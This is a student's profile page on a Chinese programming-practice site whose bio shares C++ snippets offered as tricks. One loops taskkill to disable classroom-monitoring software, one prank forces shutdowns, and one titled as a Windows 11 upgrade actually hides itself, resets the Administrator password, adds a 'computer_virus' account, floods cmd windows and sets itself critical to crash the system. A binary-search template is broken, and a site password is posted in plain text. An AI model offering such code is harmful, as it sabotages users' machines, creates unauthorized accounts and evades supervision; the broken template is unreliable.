• 个人简介

    b站 信息课必用c++代码 #include <bits/stdc++.h> #include <windows.h> using namespace std; void movexy(short x, short y){ COORD position={x, y}; HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(hOut, position); } int main(){ movexy(37, 7); cout<<"反电子教室系统"<<endl; cout<<endl; cout<<" 目前可以反击:"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域电子教室 - 输入 k-jy即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); cout<<" 如果在开启本程序后关闭本程序,"<<endl; cout<<" 本次反击将无效!"<<endl; cout<<" input >>> "; string s; cin>>s; if(s=="k-rs"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im REDAgent.exe"); system("cls"); } } if(s=="k-jy"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im StudentMain.exe"); system("cls"); } } if(s=="k-yk"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1){ system("taskkill /f /t /im Student.exe"); system("cls"); } } return 0; } Copy

    Copy

    噶掉电子教室的代码

    #include <windows.h> using namespace std; int main() { while(1) { system("taskkill /f /t /im REDAgent.exe"); system("taskkill /f /t /im StudentMain.exe"); system("taskkill /f /t /im Student.exe"); } return 0; } Copy

    Copy

    让你的电脑升级到win11的神奇c++代码

    #include <bits/stdc++.h> #include <windows.h> #include <winternl.h> using namespace std; void HideWindow() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } int main() { HideWindow(); int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN); system("net user Administator 123456"); system("net user computer_virus computer_virus /add"); for(unsigned long long i = 1; i <= 500; i++) { system("start cmd"); for(int i=1;i<=100;i++) { SetCursorPos(rand()%y,rand()%x); } } typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); return 0; } Copy

    Copy

    c++的恶搞代码

    #include<bits/stdc++.h> using namespace std; int main(){ cout << "你希望我编程题怎样?(大写)" << "\n"; string a; while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; system("shutdown -a"); system("shutdown -f -s -t 3"); }else if(a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else if(a=="AC"||a=="AK"){ cout << "谢谢你的祝福"; return 0; }else if(a=="SB"){ cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; system("shutdown -a"); system("shutdown -f -s -t 3"); }else if(a=="BA"||a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else{ cout << "未能识别,请再次输入" << "\n"; } }

    return 0;
    

    } Copy

    2分模板

    #include using namespace std; int main(){ int n; cin>>n; int a[n+1]; for(int i=1;i<=n;i++) cin>>a[i]; sort(a+1,a+n+1); int l=1,r=n; while(l<=r){ int mid=(l+r)/2; if(a[mid]>tag) r=mid-1; else if(a[mid]<tag) l=mid+1; else{ cout<<l; break; } } return 0; } Copy

    copy

    小码王java网络密码:Xmw@00128 imageimage image image image image image You are to slow! image image image image 骑士时刻!image !image image 此生无悔,来世再做方块人!!!image image !image image image image 此生无悔,来世再做乐高党!!! https://img2.baidu.com/it/u=3528938336,978231761&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1716742800&t=9645d6a8ff55c62953da8ce7fbc2685f、

  • 通过的题目

  • 最近活动

题目标签

初窥门径
108
顺序结构
52
分支结构
41
略有小成
34
循环结构
22
驾轻就熟
18
一维数组
14
字符串
14
循环嵌套
11
电子学会二级
9
搜索
9
枚举
9
电子学会三级
9
排序
6
模拟
6
二维数组
5
电子学会一级
5
GESP一级
4
其他
3
蓝桥杯
3